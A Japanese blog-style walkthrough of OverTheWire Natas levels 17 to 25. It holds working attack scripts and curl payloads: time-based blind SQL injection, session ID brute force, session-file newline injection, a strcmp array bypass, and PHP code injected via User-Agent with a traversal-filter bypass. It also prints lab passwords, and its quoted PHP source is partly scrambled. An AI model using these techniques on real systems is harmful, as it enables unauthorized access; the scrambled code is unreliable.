if ! timeout 5s curl -s -u natas17:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd -X POST -d "username=natas18\" and password like binary \"$1$2%\" and sleep(10) -- " http://natas17.natas.labs.overthewire.org/ > /dev/null; then
echo "$2"
fi
}
pass=""
for _ in {1..32}; do
pass+=$(
for l in {a..z}; do query "$pass" "$l"; done;
for l in {A..Z}; do query "$pass" "$l"; done;
for n in {0..9}; do query "$pass" "$n"; done;)
echo "$pass"
done
~$ ./test.sh
8
8N
8NE
8NED
8NEDU
8NEDUU
8NEDUUx
8NEDUUxg
8NEDUUxg8
8NEDUUxg8k
8NEDUUxg8kF
8NEDUUxg8kFg
8NEDUUxg8kFgP
8NEDUUxg8kFgPV
8NEDUUxg8kFgPV8
8NEDUUxg8kFgPV84
8NEDUUxg8kFgPV84u
8NEDUUxg8kFgPV84uL
8NEDUUxg8kFgPV84uLw
8NEDUUxg8kFgPV84uLwv
8NEDUUxg8kFgPV84uLwvZ
8NEDUUxg8kFgPV84uLwvZk
8NEDUUxg8kFgPV84uLwvZkG
8NEDUUxg8kFgPV84uLwvZkGn
8NEDUUxg8kFgPV84uLwvZkGn6
8NEDUUxg8kFgPV84uLwvZkGn6o
8NEDUUxg8kFgPV84uLwvZkGn6ok
8NEDUUxg8kFgPV84uLwvZkGn6okJ
8NEDUUxg8kFgPV84uLwvZkGn6okJQ
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6a
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
長かった、、
パスワード:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Level 18 to 19
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php
$maxid = 640; // 640 should be enough for everyone
/* {{{ */
function isValidAdminLogin() { if($_REQUEST["username"] == "admin")
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}0;
return
}
/* }}} */
$id) { /* {{{ */
function isValidID($id);
return is_numeric(
}
/* }}} */
$user) { /* {{{ */
function createID($maxid;
global 1, $maxid);
return rand(
} /* }}} */
$msg) { /* {{{ */
function debug(if(array_key_exists("debug", $_GET)) {
"DEBUG: $msg<br>";
print
}
} /* }}} */
/* {{{ */
function my_session_start() { if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
!session_start()) {
if("Session start failed");
debug(;
return false
} else {"Session start ok");
debug(!array_key_exists("admin", $_SESSION)) {
if("Session was old: admin flag set");
debug($_SESSION["admin"] = 0; // backwards compatible, secure
};
return true
}
};
return false
} /* }}} */
/* {{{ */
function print_credentials() { if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
"You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
print
} else { "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
print
}
} /* }}} */
$showform = true;
if(my_session_start()) {
;
print_credentials()$showform = false;
array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST))
} else { if(session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
"New session started");
debug($showform = false;
;
print_credentials()
}
}
if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
PHPSESSID
にセッションIDが保存されているらしい。
ターゲットのユーザーネームはadmin
。$_SESSION["admin"]
の値を1
にしなければprint_credentials
は呼ばれないが、その肝心なisValidAdminLogin
の部分がコメントアウトされている。
おそらく新規にログインしてセッションを作ってもどうしようもないと思うので、0から640までのセッションIDを全部試してみる。
#!/bin/bash
for i in {0..640}; do
curl -s -u natas18:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq --cookie "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org/?debug | grep -A 2 "You are an admin"
done
~$ ./test.sh
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
やった。久しぶりに自力で解けた。
パスワード:8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
Level 19 to 20
今回は見れないが、ソースコードはさっきとほぼ同じらしい。
試しに同じユーザーネームadmin
とパスワードpass
で2回試してみる。
3530302d61646d696e
32332d61646d696e
3138352d61646d696e
ユーザーネーム・パスワードでセッションIDが一意に決まるわけではなさそう。
十数桁を総当たりするのは厳しいので、ユーザーネーム・パスワード固定でもう少しパターンを探してみる。
353030 2d61646d696e
3233 2d61646d696e
313835 2d61646d696e
363332 2d61646d696e
343737 2d61646d696e
3936 2d61646d696e
353534 2d61646d696e
最後の2d61646d696e
は同じっぽい。あとセッションID文字数が奇数だと次のようなエラーが出る。
2桁でセットであると考えると、使われている文字的にもASCIIコード(HEX)っぽい。
2d61646d696e
を戻してみる。
~$ echo 2d61646d696e | xxd -r -p
-admin%
なるほど。ユーザーネームが最後についているのか。
~$ echo 3935 | xxd -r -p
95%
~$ echo 353534 | xxd -r -p
554%
最初は3桁くらいのランダムな数字?
とりあえずこれで総当たりしてみる。
#!/bin/bash
for i in {10..999}; do
id=$(echo -n "$i" | xxd -p)
curl -s -u natas19:8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s --cookie "PHPSESSID=${id}2d61646d696e" http://natas19.natas.labs.overthewire.org/?debug | grep -A 2 "You are an admin"
done
./test2.sh
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH</pre></div>
</body>
パスワード:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH
Level 19 to 20
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
<?php
$msg) { /* {{{ */
function debug(if(array_key_exists("debug", $_GET)) {
"DEBUG: $msg<br>";
print
}
}/* }}} */
/* {{{ */
function print_credentials() { if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
"You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
} else {print
}
}/* }}} */
/* we don't need this */
$path, $name) {
function myopen(//debug("MYOPEN $path $name");
;
return true
}
/* we don't need this */
function myclose() {//debug("MYCLOSE");
;
return true
}
$sid) {
function myread("MYREAD $sid");
debug(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
if("Invalid SID");
debug("";
return
}$filename = session_save_path() . "/" . "mysess_" . $sid;
!file_exists($filename)) {
if("Session file doesn't exist");
debug("";
return
}"Reading from ". $filename);
debug($data = file_get_contents($filename);
$_SESSION = array();
explode("\n", $data) as $line) {
foreach("Read [$line]");
debug($parts = explode(" ", $line, 2);
$parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
if(
};
return session_encode()
}
$sid, $data) {
function mywrite(// $data contains the serialized version of $_SESSION
// but our encoding is better
"MYWRITE $sid $data");
debug(// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
"Invalid SID");
debug(;
return
}$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
"Saving in ". $filename);
debug(ksort($_SESSION);
$_SESSION as $key => $value) {
foreach("$key => $value");
debug($data .= "$key $value\n";
}file_put_contents($filename, $data); chmod($filename, 0600);
}
/* we don't need this */
$sid) {
function mydestroy(//debug("MYDESTROY $sid");
;
return true
} /* we don't need this */
$t) {
function mygarbage(//debug("MYGARBAGE $t");
;
return true
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
"Name set to " . $_REQUEST["name"]);
debug(
}
;
print_credentials()
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}?>
<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
なんか下の方にエラーが出ている。ただあまり関係なさそう。
セッションIDの読み込みと書き込みのコールバックが定義されてる。これがメインだと思うので今回はセッションハイジャックではなさそう。
なんとかしてセッションファイルにadmin 1
を追加で書き込みたい。
書き込みが行われるのは$data .= "$key $value\n";
の行だが、おそらくエスケープされていないのでフォームのユーザーネームにadmin\nadmin 1
とでも入力すれば良さそう。
対策されてる!?
と思ったらURLエンコードがうまくされてなかったみたい。
\n
のバックスラッシュがそのまま%5C
に、スペースが+
に置き換わっている。
curl
を使ってエンコードを指定する。
~$ curl -u natas20:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH -X POST -d "name=admin%0Aadmin%201" http://natas20.natas.labs.overthewire.org/\?debug
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
DEBUG: MYREAD bhaaa5njerbkut3v6banoar23e<br>DEBUG: Session file doesn't exist<br>DEBUG: Name set to admin
admin 1<br>You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
<form action="index.php" method="POST">
Your name: <input name="name" value="admin
admin 1"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
DEBUG: MYWRITE bhaaa5njerbkut3v6banoar23e name|s:13:"admin
admin 1";<br>DEBUG: Saving in /var/lib/php/sessions/mysess_bhaaa5njerbkut3v6banoar23e<br>DEBUG: name => admin
admin 1<br><br />
<b>Warning</b>: Unknown: Session callback expects true/false return value in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>: Unknown: Failed to write session data using user defined save handler. (session.save_path: /var/lib/php/sessions) in <b>Unknown</b> on line <b>0</b><br />
あれ?
一瞬意味不明だったがよく考えればそれもそのはず。デバッグのメッセージが表示されている場所からもわかるように、myread
はページの最初、mywrite
はページの最後で呼ばれている。
よって$_SESSION["name"] = $_REQUEST["name"];
で書き込んだとき、$_SESSION["name"]
は更新されているが、セッションファイルに書き込まれる前なので、admin%0Aadmin%201
という値のままになる。だからprint_credentials
で$_SESSION["admin"]
が未定義となる。
つまり与えられたクッキーを設定してもう一回読み込めばオッケー。
~$ curl -s -u natas20:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH --cookie "PHPSESSID=tkr85f8u1i4u1ckp6stfmoga38" http://natas20.natas.labs.overthewire.org/\?debug | grep -A 2 "You are an admin"
DEBUG: MYREAD tkr85f8u1i4u1ckp6stfmoga38<br>DEBUG: Reading from /var/lib/php/sessions/mysess_tkr85f8u1i4u1ckp6stfmoga38<br>DEBUG: Read [admin 1]<br>DEBUG: Read [name admin]<br>DEBUG: Read []<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56</pre>
<form action="index.php" method="POST">
パスワード:89OWrTkGmiLZLv12JY4tLj2c4FW0xn56
Level 21 to 22
<!-- http://natas21.natas.labs.overthewire.org/ -->
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head>
<body>
<h1>natas21</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b>
</p>
<?php
/* {{{ */
function print_credentials() { if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
"You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
print
} else { "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
print
}
} /* }}} */
session_start();
;
print_credentials()?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<!-- http://natas21-experimenter.natas.labs.overthewire.org/ -->
<html>
<head><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"></head>
<body>
<h1>natas21 - CSS style experimenter</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21.natas.labs.overthewire.org">http://natas21.natas.labs.overthewire.org</a></b>
</p>
<?php
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
$_REQUEST as $key => $val) {
foreach($_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
"[DEBUG] Session contents:<br>";
print print_r($_SESSION);
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
array_key_exists($key, $_SESSION)) {
if($val = $_SESSION[$key];
} else {$_SESSION[$key] = $val;
}$form .= "$key: <input name='$key' value='$val' /><br>";
} $form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
?>
<p>Example:</p>
<?=$example?>
<p>Change example values here:</p>
<?=$form?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
“colocated”の意味がはっきりしないが、http://natas21.natas.labs.overthewire.org/
の方には読むべきコードがないのでhttp://natas21-experimenter.natas.labs.overthewire.org/
の方で考える。
フォームの入力を元に$_SESSION
をセットしているみたい。ただ、
if(array_key_exists("submit", $_REQUEST)) {
$_REQUEST as $key => $val) { $_SESSION[$key] = $val;
foreach(
} }
の部分にフィルターがかかっていないので、フォームにname="admin"
かつvalue="1"
であるようなinput
要素を追加すれば良さそう。
ただhttp://natas21.natas.labs.overthewire.org/
とhttp://natas21-experimenter.natas.labs.overthewire.org/
ではオリジンが違うので、後者のセッションIDを前者にコピーすることを忘れずに。
パスワード:91awVM9oDiUGm33JdzM7RVLBS8bz9n0s
Level 22 to 23
<?php
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
"Location: /");
header(
}
} ?>
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">
<?php
if(array_key_exists("revelio", $_GET)) {
"You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
print
} ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
GET
パラメータにrevelio
があればパスワードが表示されるようになっているが、$_SESSION["admin"]
が1
じゃないとリダイレクトされるようになっている。
多分これはLocation
ヘッダーをブロックすればオッケー?
パスワード:qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj
Level 23 to 24
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head>
<body>
<h1>natas23</h1>
<div id="content">
Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
"<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
echo else{
} "<br>Wrong!<br>";
echo
}
}// morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
ローカルで条件がどう評価されるのか確かめてみる。
~$ php -a
Interactive shell
php > echo "iloveyou" > 10;
1
おそらくASCIIコードあたりで比較しているのだろう。これはつまり"iloveyou"
と入力すればいいだけ?
おかしい。なぜだ、、
本当に見当がつかないので答えを見てみる。
https://n0j.github.io/2017/03/23/otw-natas-23.html
どうやら"11iloveyou"
とすればPHPが"11"
までパースして10
と比較してくれるので、条件を真にできるらしい。
あれ?
ということは少なくともこのサーバーでは"iloveyou" > 10
が偽になるってこと!?
"iloveyou" > 10
が偽になるもの:
"iloveyou" > 10
が真になるもの:
- https://www.tutorialspoint.com/execute_php_online.php
- https://3v4l.org/
- https://extendsclass.com/php.html
などものによって動作が違った。そもそもそんな基本的な動作も定義されていないんだろうか。信じられない。
実際に確かめてみたかったけど流石に萎えた。
結論。PHPには関わらないようにしましょう。
パスワード:0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r
Level 24 to 25
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">
Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
"<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
echo
} else{
"<br>Wrong!<br>";
echo
}
}// morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
出ましたstrcmp
。
考えても時間の無駄だと思うので、strcmp
の脆弱性をググる。
https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016
配列を渡したときにnull
が帰ってくるので、!
で真にすることができるみたい。
信じられない。もはや人災レベル。
まあそれはさておき、PHPサーバーに配列を渡すには配列名の後に[]
を付け加えればいい。
-s -u natas24:0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r -X POST -d "passwd[]=%22%22" http://natas24.natas.labs.overthewire.org/
curl <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">
Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>
<br />
<b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br />
<br>The credentials for the next level are:<br><pre>Username: natas25 Password: O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
パスワード:O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx
Level 25 to 26
<!-- http://natas25.natas.labs.overthewire.org/ -->
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head>
<body>
<?php
// cheers and <3 to malvina
// - morla
function setLanguage() {/* language setup */
if(array_key_exists("lang",$_REQUEST)) {
if(safeinclude("language/" . $_REQUEST["lang"] )) {
1;
return
}"language/en");
safeinclude(
}
}
$filename) {
function safeinclude(// check for directory traversal
if(strstr($filename,"../") {
"Directory traversal attempt! fixing request.");
logRequest($filename=str_replace("../","",$filename);
} // dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
"Illegal file access detected! Aborting!");
logRequest(exit(-1);
}// add more checks...
file_exists($filename)) {
if (include($filename);
1;
return
} 0;
return
}
$path){
function listFiles($listoffiles=array();
$handle = opendir($path)) {
if (!== ($file = readdir($handle))) {
while (false $file != "." && $file != "..") {
if ($listoffiles[]=$file;
}
}
}closedir($handle);
$listoffiles;
return
}
$message){
function logRequest($log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}?>
<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>
<?php
session_start();
;
setLanguage()"<h2>$__GREETING</h2>";
echo "<p align=\"justify\">$__MSG";
echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
echo ?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<!-- http://natas25.natas.labs.overthewire.org/language/en -->
<?php
global $__GREETING;
global $__MSG;
global $__FOOTER;
$__GREETING="Quote";
$__MSG="You see, no one's going to help you Bubby, because there isn't anybody out there to do it. No one. We're all just complicated arrangements of atoms and subatomic particles - we don't live. But our atoms do move about in such a way as to give us identity and consciousness. We don't die; our atoms just rearrange themselves. There is no God. There can be no God; it's ridiculous to think in terms of a superior being. An inferior being, maybe, because we, we who don't even exist, we arrange our lives with more order and harmony than God ever arranged the earth. We measure; we plot; we create wonderful new things. We are the architects of our own existence. What a lunatic concept to bow down before a God who slaughters millions of innocent children, slowly and agonizingly starves them to death, beats them, tortures them, rejects them. What folly to even think that we should not insult such a God, damn him, think him out of existence. It is our duty to think God out of existence. It is our duty to insult him. Fuck you, God! Strike me down if you dare, you tyrant, you non-existent fraud! It is the duty of all human beings to think God out of existence. Then we have a future. Because then - and only then - do we take full responsibility for who we are. And that's what you must do, Bubby: think God out of existence; take responsibility for who you are.";
$__FOOTER="Scientist, Bad Boy Bubby";
?>
<!-- https://natas25.natas.labs.overthewire.org/language/de -->
<?php
global $__GREETING;
global $__MSG;
global $__FOOTER;
$__GREETING="Zitat";
$__MSG="Weißt du, niemand wird dir helfen Bubby. Denn es gibt Niemand, der dazu vorgesehen ist. Niemand. Wir sind alle nur komplizierte Anordnungen von Atomen und subatomaren Teilchen. Wir leben nicht. Unsere atome bewegen sich in einer Art und Weise, die uns Identität und Bewustesein verleiht. Wir sterben auch nicht. Unsere Atome strukturieren sich nur um. Es gibt keinen Gott, es kann keinen Gott geben. Es ist lächerlich, in Kategorien eines höheren Wesens zu denken. Eines niedrigeren Wesens, das könnte es vielleicht geben. Weil wir, die wir nicht mal existieren, unser Leben mit mehr Ordnung und Harmonie gestalten, als Gott jemals die Erde gestaltet hat. Wir essen, wir planen, wir erschaffen wunderbare Musik. Wir sind die Architekten unserer eigenen Existenz. Was für eine idiotische Vorstellung, sich vor einem Gott zu verneigen, der Millionen unschuldiger Kinder abschlachten lässt. Der für ihren langsamen und qualvollen Hungertod verantwortlich ist. Der zusieht, wie sie geschlagen und gefoltert werden. Der sie abweist. Welche Dummheit, auch nur zu denken, dass wir einen solchen Gott nicht beleidigen dürfen. Verdammt nochmal! Leugnen wir doch einfach seine Existenz. Es ist unsere Pflicht, die Existenz Gottes zu leugnen. Es ist unsere Pflicht, ihn zu beleidigen. Leck mich am Arsch, Gott! Schlag mich nieder, wenn du dich traust, du Tyrann! Du nicht existierender Betrug. Es ist die Pflicht aller menschlichen Wesen, die Existenz Gottes zu verneinen. Dann haben wir eine Zukunft. Denn dann, und nur dann, übernehmen wir die volle Verantwortung für das, was wir sind. Und genau das musst du tun, Bubby. Denk Gottes Existenz einfach weg. Übernimm die Verantwortung für das, was du bist.";
$__FOOTER="Wissenschaftler, Bad Boy Bubby";
?>
select
要素が変化したときにフォームがサブミットされるようになっている。
前と同様にoption
要素を追加して、なんとか/etc/natas_webpass/natas25
の中身をinclude
したい。
制約としては、"../"
は""
に変換されるようになっていて、"natas_webpass"
が見つかった時点で強制終了するようになっている。
一つ思ったのは、"../"
が""
に置き換えたとしても、"../"
が残ることはありそう。例えば"....//"
から"../"
を取り除くと"../"
にすることができる。
ただ"natas_webpass"
の制約上相対パスでも厳しそう、、
わからん。答えを見ます。
https://n0j.github.io/2017/07/18/otw-natas-25.html
$_SERVER['HTTP_USER_AGENT']
がエスケープされていないので、それを使って<?php
タグをログファイルに埋め込むことができるらしい。それをさっきの"../"
のテクニックを使ってinclude
すればよき。
天才。
具体的には、User-Agent
の値を次のスクリプトにする。
<?php include('/etc/natas_webpass/natas26'); ?>
~$ curl -u natas25:O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx --header 'User-Agent: <?php include("/etc/natas_webpass/natas26"); ?>' --cookie 'PHPSESSID=test' http://natas25.natas.labs.overthewire.org/\?lang\=natas_webpass
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
